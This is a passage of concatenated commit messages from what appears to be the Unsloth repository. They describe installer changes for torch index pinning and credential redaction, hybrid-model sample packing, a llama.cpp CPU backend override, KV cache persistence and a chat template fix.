The uv install path already redacted its captured output, but pip_install's pip
fallback runs through run(), which printed result.stdout verbatim on failure, and
_print_optional_install_failure did the same. A pinned --index-url carrying
userinfo or a ?token= could still leak there when uv is unavailable or the pip
fallback also fails. Route both through _redact_install_output. The verbose
pip_install_try path stays raw (developer opt-in), matching the other installers.
* install: split the survive-updates marker subsystem into a follow-up
The torch-index override PR grew a persisted per-venv marker plus repair
machinery (stale-pin detection, verbatim re-apply, update-time reinstall
triggers) that roughly doubled it. That subsystem is orthogonal to the core
feature and is being reworked in a follow-up (versioned/hashed marker,
full-URL pin baseline), so it moves there wholesale instead of shipping
twice.
What this PR still does: UNSLOTH_TORCH_INDEX_URL / UNSLOTH_TORCH_INDEX_FAMILY
pick the torch wheel index at install time in all four installers, with the
exact rocm/gfx/cpu/cu leaf classification, the torch 2.11 floor for the
per-arch AMD indexes, bounded companions for custom leaves, credential
redaction of captured installer output, path-only slash trimming, and the
uv/pip index env scrubs. Flavor-based repair keeps honoring the pin: a wrong
family under an explicit pin still reinstalls from the pinned URL, and
setup.ps1 repairs a pinned stale venv in place instead of wiping it.
What moves to the follow-up: the .unsloth-torch-index marker file and its
writers/readers/normalizers, exact-URL pin-change detection on update
(same-tag gfx switches, custom-mirror repoints), the verbatim trio snapshot
and clobber re-apply, the pin-baseline recorder, and the
--torch-pin-needs-apply fast-path probe in setup.sh / setup.ps1. Their tests
(the marker sh/ps1 suites, the stale-pin suite, and the marker classes in the
rocm/cuda/parity suites) move with them; the removed code is preserved on a
local archive branch to seed that PR.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: re-apply a ROCm pin over an existing HIP wheel via the version tag
The subsystem split left an explicit ROCm/gfx pin unenforced on `studio
update` whenever the venv already imported ANY ROCm torch: the pinned
reinstall lived inside the `elif not has_hip_torch` branch, so a rocm6.4 to
rocm7.2 switch, a gfx1151 pin over a generic +rocm7.2 wheel, or a broken
2.12+rocm7.2 drift never re-applied the pin.
Restore the markerless half of that detection: _rocm_pin_family_mismatch
compares the pinned leaf against the installed wheel tag (exact rocmX.Y
compare, the 2.11 gfx per-arch allowlist, the untagged-wheel rule), the HIP
probe emits "<hip_marker>|<version>" again so the installed tag is available,
and _ensure_rocm_torch reinstalls from the pinned URL when the tag mismatches
even though HIP torch is present. setup.ps1 mirrors it: the stale-venv check
routes a pinned rocm/gfx leaf through Get-RocmPinStaleTags instead of
collapsing it to a generic "rocm" flavor, and the existing pinned in-place
repair (no wipe) applies the change.
What still waits for the follow-up marker PR, by design: pin changes the
wheel tag cannot see -- a per-arch switch between two 2.11 gfx indexes
(identical +rocm7.13.0 tag), a custom-mirror URL repoint under the same
family leaf, and unknown-family verbatim pins. Those need the persisted
index record.
Tests restored with the code: the _rocm_pin_family_mismatch table, the five
update-path cases (older-rocm reinstall, gfx-over-pre-2.11 reinstall,
matching-pin no-reinstall, non-2.11 gfx no-reinstall, gfx-over-generic-2.11
reinstall), the "|" probe-format guards, and the AST-extracted
Get-RocmPinStaleTags suite for setup.ps1.
* install: compare major-only rocm pins, redact URL fragments, bound pinned CPU trio
Three review fixes on the restored pin-repair path.
The family classifier accepts a major-only rocm<d> leaf (rocm7), but the
mismatch comparators only parsed rocmX.Y, so a rocm7 pin fell through to the
2.11-line fallback and INVERTED both verdicts: an installed +rocm6.4 wheel
compared as satisfied (pin never re-applied) while a matching +rocm7.2 wheel
compared as stale (reinstall loop). Major-only pins now compare on the major
alone in _rocm_pin_family_mismatch and Get-RocmPinStaleTags: rocm6.x under a
rocm7 pin is a mismatch, any rocm7.x satisfies it, an untagged wheel never
does, and a bare +rocm tag with an unreadable version is accepted (matching
the existing lenient unreadable fallback).
The output redactors scrubbed userinfo and ?query= values but not #fragments,
so a pin like https://mirror/whl/cu128#token=secret leaked the secret in
captured uv/pip failure text -- inconsistent with the URL handling itself,
which already treats fragments as sensitive. All four redactors gain a
URL-anchored fragment rule (anchored so a bare "# comment" line in tool
output is never touched).
setup.ps1's CPU branch installed a bare torch/torchvision/torchaudio trio;
fine for the unpinned host default, but a PINNED cpu index routes through the
same branch and the /cpu index serves newer torch, so a fresh pinned CPU
install could land an unsupported trio that _ensure_cpu_torch then keeps
(it accepts any CPU build). Under a pin the branch now installs the bounded
trio mirroring _CPU_TORCH_PKG_SPEC (torch>=2.4,<2.12.0 and matching
companions); the unpinned path is unchanged.
Tests: major-only rows in the Python mismatch table and the AST-extracted
setup.ps1 suite; fragment + query-plus-fragment + bare-hash-comment cases in
all four redactor suites; a parity check that the pinned CPU trio bounds
exist, are gated on the pin, and mirror the Python repair spec.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: tighten comments in the torch index override paths
* tests: track the moved pass-through inheritance in the gguf order check
Main moved the llama_extra_args pass-through inheritance out of the
GGUF branch into _resolve_inherited_extra_args, which runs before it,
so the source-order assertion's "if request.llama_extra_args is None"
anchor no longer exists inside the branch and the check failed after
the main merge. The test now asserts the same property in the current
shape: inheritance before the GGUF branch (a carried --no-mmproj still
shapes the hub guard's companion requirement), and marker, hub guard,
unload in order within the branch. Full file passes (32 tests).
* tests: anchor the inheritance order check on the call, not the definition
source.index("_resolve_inherited_extra_args(") matched the function
definition, which always precedes the endpoint, so the ordering
assertion was vacuously true. Anchoring on "= _resolve_inherited_
extra_args(" pins the first call site inside the load endpoint (line
4505), which is the statement whose position relative to the GGUF
branch the test is meant to guard. 32 tests pass.
* tests: align the gguf order test with main
Main fixed the stale ordering assertion in PR 7252; adopting its
version verbatim removes this file from the branch diff entirely and
avoids a conflict on the next main merge. 32 tests pass.
* install: bound the companion constraints to torch's window everywhere
A full platform x vendor validation matrix over this branch surfaced a
real trio mismatch on the cpu/mac paths: torch is capped <2.11 (installs
2.10.0+cpu) but the bare torchaudio companion resolves 2.11.0+cpu,
because torchaudio 2.11 dropped its exact torch pin. Reproduced in a
sandboxed end to end cpu install. torchvision still exact-pins torch and
self-corrected.
The default companion constraints are now bounded to torch's window
(<0.26 / <2.11) and widen together with the cu* torch window (<0.27 /
<2.12), so every leaf resolves a paired trio. Verified with uv dry-runs
on the cpu, cu130, and rocm6.4 leaves (2.10.0/0.25.0/2.10.0,
2.11.0/0.26.0/2.11.0, 2.9.1/0.24.1/2.9.1) and a rerun of the sandboxed
cpu install, which now lands torch 2.10.0+cpu with torchaudio
2.10.0+cpu.
The Strix WSL reroute now also forwards UNSLOTH_TORCH_INDEX_URL and
UNSLOTH_TORCH_INDEX_FAMILY into the rerouted 24.04 distro; dropping
them silently reverted the child install to auto-detection, defeating
the pin this branch introduces.
test_torch_constraint.sh updated: the bounded companions must appear at
the defaults and the custom-leaf block, no bare companion may remain,
and the cu* widen must carry the companions with it.
* install: harden the override path against reroute drift and credential leaks
Review sweep focused on default-path idempotency found no defects on the
unset path; these fixes cover the override path and failure reporting.
install.sh:
- The early WSL Strix Halo distro reroute now honors an explicit index
pin (UNSLOTH_TORCH_INDEX_URL / _FAMILY): the pin is used in the current
distro instead of probing the GPU and re-entering another distribution,
matching the contract of the later Radeon and Strix guards. Whitespace
only values do not gate, in parity with get_torch_index_url.
- Verbose mode now streams installer output through the credential
redactor; it previously bypassed the redaction the quiet path applies.
The exit code survives the pipe via an rc file since the script runs
under plain sh with no pipefail.
- The kept-release fallback warning now strips credentials from the
index URL before printing it.
install.ps1:
- Bounded torchvision and torchaudio next to every capped torch install
(custom pin, ROCm CPU fallback, CUDA flavor repair). torchaudio 2.11
dropped its exact torch pin from the wheel metadata, so a bare
companion beside torch<2.11 can resolve a mismatched 2.11.0 build,
cu family indexes included. Mirrors the install.sh companion bounds.
studio/install_python_stack.py:
- The verbose failure path now redacts index URLs in pip and uv output
before printing, matching every other output site in the file.
All sh, ps1 and python installer test suites pass (the host-defaults
suite has a known pre-existing failure unrelated to this change).
* install: redact verbose Windows installer output and repair the parity tests
Follow-ups to the override-hardening commit, from review:
- install.ps1 Invoke-InstallCommand and setup.ps1 Invoke-SetupCommand now
pipe verbose output through Redact-InstallOutput per record, and the
three verbose Fast-Install torch call sites (ROCm, CPU, CUDA) do the
same: uv and pip echo the pinned index URL, credentials included, in
their errors, and verbose mode previously bypassed the redaction the
quiet paths apply. ForEach-Object and Out-Host leave $LASTEXITCODE
untouched, verified with a native command exiting 7 behind the pipe.
- test_cross_platform_parity.py: the install.ps1 companion-bounds
assertion now matches the implemented behavior (bounds on every index,
no cu-family exemption, since torchaudio 2.11 dropped its exact torch
pin) instead of requiring the removed $_pinCuLeaf gate.
- test_rocm_support.py: the WSL reroute guard test slices the whole
function body to its closing brace instead of a fixed 1200-character
window, which the new pin-gate preamble had outgrown.
428 tests pass across the parity, install stack and rocm support suites;
the sh and ps1 installer suites pass unchanged.
* install: tighten comments in the torch-index and ROCm/CUDA repair paths
* install: digit-gate the gfx family leaf and honor ROCm pins in the Windows repair
Two review follow-ups on the override path:
- The pip ROCm family predicate accepted ANY gfx-prefixed leaf, so a
custom verbatim pin like /gfx-private classified as a ROCm family and
enabled the ROCm-only side effects (AMD bitsandbytes, ROCm torch
repair) on a mirror that may serve CPU/CUDA wheels. gfx now requires a
following digit (gfx90a, gfx1151, gfx120X-all), consistently in
install.sh, install_python_stack.py, install.ps1 (family gate and
expected-flavor classifier) and setup.ps1, matching the strictness the
rocm side already had (rocm7.2-private stays verbatim). The broader
backend BRANDING globs are unchanged on purpose: radeon repo leaves
(rocm-rel-X.Y) must still brand the rocm backend without being
force-repaired as a family.
- The Windows branch of the ROCm torch repair always installed from the
public per-arch index, ignoring an explicit ROCm-family pin: after a
pinned setup.ps1 install failed to a CPU base, the repair retried
repo.amd.com instead of the pinned index. The branch now resolves
_explicit_rocm_torch_index_url() first, uses it as the install index
when set, and mirrors the Linux pin contract by skipping the NVIDIA
and gfx-detection gates a pin is documented to override.
Source-assertion tests updated to the tightened predicate and the new
repair label. 1165 tests pass across the parity, install stack and
studio install suites; the sh and ps1 suites pass; both PowerShell
installers parse clean.
* Remove scratch archives accidentally committed with the comment pass
The temp/ archive copies of installer and test files were working
scratch, not PR content, and inflated the diff by about nine thousand
lines.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix text-only VLM CPT packing truncation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle streaming vision datasets in packing
* Harden multimodal packing detection
* Preserve safe packing boundaries
* Scope stream packing checks to VLMs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Narrow VLM packing detection
* Align packing mode and eval safety
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add qwen3_5/qwen3_next to PADDING_FREE_BLOCKLIST to avoid packed-sequence contamination
* Detect hybrid linear-attention models structurally instead of by name for packing guard
* Add experimental varlen packing for hybrid linear-attention models
Feed seq_idx to the causal conv and cu_seqlens to the gated-delta scan so
sample packing / padding-free reset state at sequence boundaries for hybrid
linear-attention models (Qwen3.5, Qwen3-Next). Gated behind
UNSLOTH_EXPERIMENTAL_HYBRID_PACKING and fail-closed: when the flag is off or
the accelerated kernels (causal_conv1d + fla) are unavailable, the guard keeps
these models on the padded path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden hybrid linear-attention varlen packing shim
Make patch_hybrid_linear_attention_varlen robust across transformers 4.57.6
through 5.x and TRL 0.22.2 through 1.x, following the import_fixes.py style:
- Read UNSLOTH_EXPERIMENTAL_HYBRID_PACKING at call time so the flag takes effect
when set after importing unsloth.
- Idempotent: repeat calls on a patched model return True without re-validating
the wrappers or double-wrapping; signatures are checked on captured originals.
- Prefer the authoritative packed_seq_lengths (via get_packed_info_from_kwargs)
over position_ids resets, handling pad_to_multiple_of trailing tokens.
- Suppress injection for cached forwards (use_cache / past_key_values) so
generation and eval are left on the untouched decode path.
- Validate every gated-delta module before mutating any (transactional).
- Bind position_ids / use_cache from both positional and keyword args.
- Verify dispatch at runtime (Unsloth wraps each module forward, so the mixer
source is not statically inspectable) and warn once if the shim is never hit.
- Emit one deduped diagnostic on each fail-closed path.
Add CPU unit tests covering the hybrid guard detection, the boundary builders,
and the shim (fail-closed, active, idempotent, cached no-op, runtime handshake).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Abort hybrid packing when the varlen shim is not fully dispatched
The runtime handshake used a single per-module hit flag written by both the conv
and scan wrappers, so a partial dispatch (only one kernel routed through
self.<kernel>) passed the any() check and trained on contaminated data, and a
missing dispatch only logged a warning. Track conv and scan dispatch separately,
require both on every gated-delta module on the first packed forward, and raise
before loss/backward when either is missing (the batch is already flattened, so
there is no padded recovery at that point). Also skip an empty packed_seq_lengths
before it reaches max(), and document the position_ids fallback's left-pad
assumption.
Add tests for no-dispatch and partial (conv-only / scan-only) abort, the
packed_seq_lengths preference over a competing position_ids, MRoPE 3D position
ids, and the pad_to_multiple_of trailing-segment path through the metadata builder.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Import the hybrid packing patch from its submodule to satisfy the import-hoist lint
* Fail closed for hybrid packing on encoder-decoder, chunked-loss, and string-name models
The varlen shim only helps decoder-only hybrid models that run their mixer
through self.<kernel> on a live nn.Module forward. Three cases slipped past
the guard:
- Encoder-decoder configs (is_encoder_decoder) reached the packing path even
though flattening a cross-attention batch is unsound. Block them explicitly.
- TRL's chunked_nll loss (the 1.x default) calls the backbone directly and
bypasses model.forward, so the per-instance forward wrapper that refreshes
the varlen stash never runs. Detect that path and keep the model padded.
- A string model_name reaches the trainer before the module exists, so the
instance shim has nothing to patch. Resolve the config up front and keep
string hybrids on the padded path.
Adds encoder-decoder / decoder-only / chunked-loss / string-model tests.
* Harden the SFT source-injection replacements and forward auth args for string models
The wrapped-packing injection rewrote the sourced unsloth_zoo sft_prepare_dataset
with str.replace anchored on the exact 'All Unsloth Zoo code licensed under
LGPLv3' comment. str.replace never raises on a missing anchor, so a supported
newer unsloth_zoo (the dependency is only lower-bounded) that moved that header
would silently drop the setup while the truncation and pack_dataset edits still
referenced _unsloth_wrapped_packing / _inspect, raising NameError on every SFT
dataset preparation.
- Install the setup at the sft_prepare_dataset signature via re.subn (a structural
anchor that always exists) and raise if even that is missing.
- Route the remaining edits through a _require_replace helper that fails loudly on a
missing required anchor (or warns once for an optional one), formalizing the
verify-then-replace idiom the DPO patchers in this file already use.
- Reuse the guarded _unsloth_pack_has_strategy at the pack_dataset call instead of
re-calling inspect.signature(pack_dataset) unguarded, so a non-introspectable
pack_dataset cannot crash there after the setup already handled it.
- _resolve_string_model_config now forwards token / use_auth_token / cache_dir /
code_revision, so a private hybrid resolves its config instead of falling through
as non-hybrid and enabling packing without the varlen shim.
Adds regression tests for the drift-resistant injection, the helper, and the
string-model auth forwarding.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor top-level SFTConfig.trust_remote_code when resolving a string model
TRL merges the top-level args.trust_remote_code into the load via
model_init_kwargs.setdefault("trust_remote_code", args.trust_remote_code) before
create_model_from_path, so a remote-code hybrid is commonly set with
SFTConfig(trust_remote_code=True) rather than inside model_init_kwargs. The config
probe only read model_init_kwargs, so AutoConfig could fail for such a model, leave
model_config None, and let the guard treat it as non-hybrid, enabling packing
without the varlen shim. Mirror TRL's setdefault (model_init_kwargs wins).
* Tighten hybrid-packing comments for concision
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: alkinun <alkinunl@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
* test(studio): add e2e test for cpu-fallback overriding vulkan
* feat(studio): add UNSLOTH_LLAMA_CPP_BACKEND env var
* feat(studio): add UNSLOTH_LLAMA_CPP_BACKEND env var
* Preserve UNSLOTH_LLAMA_CPP_BACKEND=cpu across llama.cpp updates for PR #7228
The in-app updater rebuilt the installer command without --cpu-fallback and
only re-asserted Vulkan, so accepting a llama.cpp update after forcing CPU on
an Intel iGPU host re-ran host detection and routed back to the crashing Vulkan
bundle (#7213). Record install_kind in the prebuilt marker and re-assert
--cpu-fallback on update when the installed bundle is CPU.
Also make setup.sh's UNSLOTH_LLAMA_CPP_BACKEND check case-insensitive to match
setup.ps1, and add tests for the updater CPU preservation and the setup.sh flag
plumbing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim and validate UNSLOTH_LLAMA_CPP_BACKEND, warn on unknown values for PR #7228
Trim surrounding whitespace and lowercase the value in both setup.sh and
setup.ps1, so values like ' cpu ' or 'CPU' still force the CPU-only prebuilt.
An unrecognized value (e.g. 'gpu') now prints a warning instead of silently
falling back to auto. Extend test_setup_llama_cpp_backend.py to cover both
scripts, including trimmed, empty and unknown values.
* Preserve arm64 CPU installs on update and honor CPU override in Windows prune for PR #7228
The update-path CPU preservation only matched install_kind ending in -cpu, so
arm64 CPU bundles (linux-arm64, windows-arm64) were re-routed to a GPU or source
build on update. Match the full set of CPU-only kinds instead.
Persisting install_kind also activated the previously inert Windows
mismatch-prune in setup.ps1: on a GPU host with UNSLOTH_LLAMA_CPP_BACKEND=cpu it
saw the windows-cpu marker as mismatched and deleted it every rerun. Normalize
the override once and make CPU expected so a deliberate CPU install is kept.
Extend the tests to cover both.
* Document legacy llama.cpp markers keep heal-to-GPU on update for PR #7228
Legacy prebuilt markers written before install_kind was persisted intentionally
do not force --cpu-fallback on update: the in-app updater lets them re-resolve
(heal to a GPU bundle) per the existing behavior from #6097, and only markers
that explicitly record a CPU install_kind are pinned to CPU. Add a comment and a
regression case documenting the boundary.
* Tighten llama.cpp CPU-fallback comments for PR #7228
* Fix Windows install-prune to keep valid Intel/fallback bundles for PR #7228
Persisting install_kind activated the setup.ps1 mismatch-prune, whose
expectedKinds was incomplete: the non-NVIDIA/non-AMD branch omitted
windows-vulkan (the Intel auto-route) and the GPU branches omitted the
windows-cpu/windows-arm64 fallback the installer uses when a GPU prebuilt is
missing. That made every setup rerun delete and re-download a valid Intel Vulkan
(or CPU-fallback) install. List all kinds the installer can produce per host so
only a bundle the host cannot run is pruned. Cover the full matrix in tests.
* Persist force_cpu marker flag so only forced CPU installs re-assert on update for PR #7228
* Add --force-cpu for deliberate CPU installs and warn on macOS for PR #7228
* Record force_cpu when reusing a matching CPU bundle for PR #7228
* Accept force_cpu keyword in installer test validator fakes for PR #7228
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Fix text-only VLM CPT packing truncation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle streaming vision datasets in packing
* Harden multimodal packing detection
* Preserve safe packing boundaries
* Scope stream packing checks to VLMs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Narrow VLM packing detection
* Align packing mode and eval safety
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add qwen3_5/qwen3_next to PADDING_FREE_BLOCKLIST to avoid packed-sequence contamination
* Detect hybrid linear-attention models structurally instead of by name for packing guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Install wrapped-packing setup at the signature, not the Zoo license comment
The _unsloth_wrapped_packing / _inspect setup block was injected by matching the
exact 'All Unsloth Zoo code licensed under LGPLv3' comment line in the sourced
sft_prepare_dataset. The unsloth_zoo dependency is only lower-bounded, so a newer
Zoo that moves or drops that header made the setup a silent no-op while the
truncation and pack_dataset rewrites still emitted references to those names,
raising NameError on every SFT dataset preparation.
Anchor the setup on the function signature instead (a structural location that
always exists) and fail loudly if it cannot be found, so the helper variables are
always defined before they are referenced across Zoo versions.
Adds a regression test that patches in a Zoo source without the license header.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: persist llama.cpp KV cache across idle auto-unload (slot save/restore)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address KV persistence review feedback
* Studio: guard KV restore on launch config
* Studio: fix KV resume purge race, fingerprint requested ctx, purge on disable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: re-check idle/keep-KV settings after slot save, ns file identity
* Studio: shard-aware KV guard, honor user --no-cache-prompt, early save cap
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: honor LLAMA_ARG_CACHE_PROMPT env in slot-save guard
* Studio: derive prompt-cache state from final argv for slot saves
* Studio: stat LoRA/control-vector sidecars in KV restore fingerprint
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: parse csv and FNAME:SCALE sidecar syntax in KV fingerprint
* Studio: address codex review on idle-unload KV resume
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden slot-save cleanup, cap accounting, stale-KV guard, save timeout
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: treat unavailable KV estimate as full-cap for slot-save disk check
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Bridge PWD through WSLENV /p when launching a Windows npm shim from WSL so project-root discovery uses the live cwd. The no-launch recipe adds PWD/p without freezing PWD; the concrete cwd override applies only on direct launch.
Pin the fetched Hermes install.sh/install.ps1 and the checkout they perform to an immutable upstream commit, and distinguish pinned from unpinned sources in the consent warning.
Route --yolo to OpenCode native --auto for the default TUI and run; keep the config permission fallback for no-auto subcommands (including hidden console/generate) and for --mini, which ignores --auto.
#6414 moved the llama_extra_args inheritance out of the GGUF branch in
_load_model_impl into _guard_chat_load_against_training, which runs before the
branch, so 'if request.llama_extra_args is None' is no longer inside the
gguf_branch slice that test_load_marker_precedes_hub_guard_and_unload checks.
The assertion failed on that now-missing landmark even though the guarantee it
protects (the gguf_load_in_flight marker is entered before the hub-download
guard and the unload) is intact. Drop the relocated landmark from the ordering
so the test matches the current structure.
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* install: preserve the previous torch release across every flavor and vendor
A re-run of curl | sh over an existing install was supposed to keep the
user's validated torch release, but the pin required the old build's
local flavor tag to match the freshly chosen index leaf. That gate was
wrong in practice: a PyPI-sourced torch reports a BARE version (on Linux
the PyPI wheel IS a CUDA build), which classified as cpu and never
matched a cu leaf, so a healthy 2.10 on a cu130 host was silently moved
to 2.11 (reproduced end to end); the same happened for any flavor drift
such as cu128 to cu130 after a driver upgrade, and AMD ROCm leaves were
excluded from preservation entirely.
The rule is now release-based and flavor-agnostic: the probed previous
release is pinned whenever it sits inside the final constraint window,
and the pin installs from the freshly chosen index, so the flavor always
follows the machine (NVIDIA cu*, AMD rocm/gfx, Intel/CPU, mac) while the
release follows the user. The pin is evaluated AFTER every index and
constraint decision including the Strix reroute, so raised floors
(rocm7.2 / Strix gfx need torch 2.11 for the _grouped_mm fix) correctly
reject an older release and win. UNSLOTH_TORCH_UPGRADE=1 still opts out,
out-of-window releases are never kept, and probe noise never becomes a
pin.
The kept-release install with its range fallback (for indexes that do
not carry the exact release) is factored into
_install_torch_default_index and used by every --default-index torch
path: the default NVIDIA/CPU/mac path and all three ROCm-index
fallbacks, which previously bypassed the fallback. The Radeon-repo
direct-wheel path keeps its curated per-arch wheel set (those wheels are
already exact-pinned per rocm release).
Platform coverage: install.sh serves Linux, WSL (including the WoA
fallback), and macOS for all vendors; native Windows install.ps1 still
caps at <2.11.0 everywhere, so the silent 2.10-to-2.11 move cannot occur
there (2.11 alignment is a separate follow-up).
Verified: 35-check unit suite rewritten to the new spec (any-flavor
keep, floor rejection, noise, window edges, opt-out, wiring including
pin-after-reroute and helper coverage); end-to-end matrix against
sandboxed UNSLOTH_STUDIO_HOME installs on a cu130 host covering PyPI
bare, cu128 drift, cu130 same-flavor, out-of-window 2.3, the upgrade
opt-out, the hidden-GPU cpu leaf, and a fresh-install control.
* install: honor the kept torch release on the Radeon direct-wheel path
The Radeon repo path installs an explicit wheel trio selected by
_pick_radeon_wheel, bypassing --default-index, so the kept-release pin
only took effect when the listing failed and the install fell back to
the ROCm index. On a re-run over an in-window Radeon install the trio
search started at the newest common minor and silently moved the user
forward (2.9 to 2.10 whenever the repo offered both).
The trio search now starts at the kept release's minor when
_PREV_TORCH_PIN is set and the listing still offers a torch wheel for
that minor. Radeon wheels are patch-curated per rocm release, so the
minor is the unit of preservation there; the raised rocm7.2 / Strix
floors still win because the pin is window-checked against the final
constraint before this point, and gaps keep the existing downward
search / ROCm-index fallback.
Verified with a simulated listing carrying both a 2.9 and a 2.10 trio:
no pin selects the 2.10 trio, a kept 2.9 release selects the matched
2.9 / 0.24 / 2.9 trio, and an unavailable minor degrades to the newest
trio. Added a structural wiring check to test_previous_torch_pin.sh
(now 36 checks).
* install: tighten comments in the torch preservation paths
* install: exact kept release on the Radeon path, pin fallback in ROCm repairs
The minor-level clamp on the Radeon direct-wheel path still allowed
patch drift (a kept 2.10.0 could become 2.10.1 when the listing carried
both) and the downward gap search could settle below the kept minor,
both breaking the exact preservation guarantee the other vendor paths
honor. The kept release now gets an exact-first trio attempt before the
newest-trio search: pick the kept patch (else the newest patch of the
kept minor, for listings that pruned the exact patch) together with the
paired torchvision/torchaudio wheels for that minor. Any gap warns and
falls back to the unchanged newest-trio search, mirroring
_install_torch_default_index, so a rerun installs either the kept
release or the same set a fresh install would choose, never something
in between.
The two ROCm torch repair sites (torch overwritten by dependency
resolution, on the migrated and fresh paths) installed TORCH_CONSTRAINT
directly, so a pinned release missing from the generic ROCm index would
abort the rerun instead of falling back. Both now route through
_install_torch_default_index, which passes extra uv args through
(--force-reinstall) and clears the pin once the fallback fires so later
paths stay consistent.
Verified against synthetic listings: both patches listed keeps exactly
2.10.0; a kept minor missing vision/audio warns and yields the newest
complete trio rather than a silent undercut; a pruned patch stays on
the kept minor; no pin keeps the existing newest-trio behavior. Unit
suite now 39 checks, all passing.
* install: never pin nightly/dev/source torch builds on a rerun
A survey of published torch version strings (PyPI bare, +cpu, +cu116
through +cu132, +rocmX.Y and +rocmX.Y.Z, +xpu, nightly .devYYYYMMDD,
source a0+git, rc tags) showed one gap: nightly, dev, rc, and source
builds passed the loose release-shape check, producing a pin such as
torch==2.11.0.dev20250704 that no stable index carries. The range
fallback rescued the install, but it printed "keeping it" and then
burned a doomed resolve first. The base must now be a plain numeric
X.Y[.Z] release, so those builds skip the pin and go straight to the
newest supported release.
Added unit checks for +xpu and three-component +rocm7.2.1 tags (both
already preserved correctly) and for nightly, a0 source, and rc builds
(never pinned). Suite now 44 checks, all passing.
* install: pair kept-release companions, protect the flavor repair, note substitutions
Three fixes from a 12-way review pass over the preservation work:
The kept-release install left torchvision and torchaudio unconstrained
next to the exact torch pin. torchvision exact-pins its torch in wheel
metadata so it always paired correctly, but torchaudio no longer does:
a kept torch 2.9.0 on cu130 resolved torchaudio 2.11.0 (verified with
uv dry-runs). The helper now pairs both companions to the kept minor
(torchvision 0.minor+15, torchaudio 2.minor); if the index lacks the
paired set the existing range fallback fires. Verified resolving
correctly on cu130, cu126, and rocm6.4.
The wrong-flavor repair at the end of the install was the one remaining
default-index torch install outside the helper. It runs under set -e,
so a retained pin absent from the repair index (reachable when the
Radeon direct-wheel path installed the kept release and dependency
resolution later overwrote it) aborted the installer at the last step
instead of falling back. It now routes through the helper with its
reinstall flags passed through.
The Radeon kept-release path installed a same-series build silently
when the listing had pruned the exact patch; it now prints what it is
substituting.
Unit suite extended with wiring checks for all three (46 checks, all
passing).
* fix(chat_templates): bind loop_messages when default_system_message is None
construct_chat_template(default_system_message=None) built a system part that
binds loop_messages only inside the `{% if messages[0]['role'] == 'system' %}`
arm. The `Fix missing loop_messages` step right below then found no
unconditional `{% set loop_messages = messages %}`, concluded loop_messages was
missing, and rewrote `{% for message in loop_messages %}` back to
`{% for message in messages %}` -- undoing the `messages[1:]` skip.
A caller-supplied system message therefore reached the loop and tripped
raise_exception:
Only user and assistant roles are supported!
Add the `{% else %}` arm so loop_messages is always bound, mirroring the
default_system_message is not None branch minus the default text. That also
stops the rewrite from firing, since the unconditional binding is now present.
Renders before / after, same template, same inputs:
default_system_message input before after
None system msg raise_exception 'Be terse.\n### User: Hi\n'
None no system '### User: Hi\n' unchanged
'You are helpful.' system msg 'Be terse.\n### User: Hi\n' unchanged
'You are helpful.' no system 'You are helpful.\n...' unchanged
The rewrite still fires for templates with no {SYSTEM} part, which is what it
was there for -- verified unchanged.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* Scope loop_messages binding to {SYSTEM} templates for PR #7199
The None branch now only adds the else arm when system_part contains
{SYSTEM}, so a static prefix with no {SYSTEM} placeholder keeps raising on a
caller system message instead of silently dropping it. Strengthen the tests:
assert the default does not leak when a caller system message is present, and
add a regression test for the static prefix case.
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: allow torch 2.11.x on the CUDA install path
The CUDA torch repair path (_ensure_cuda_torch) installs torch/torchvision/
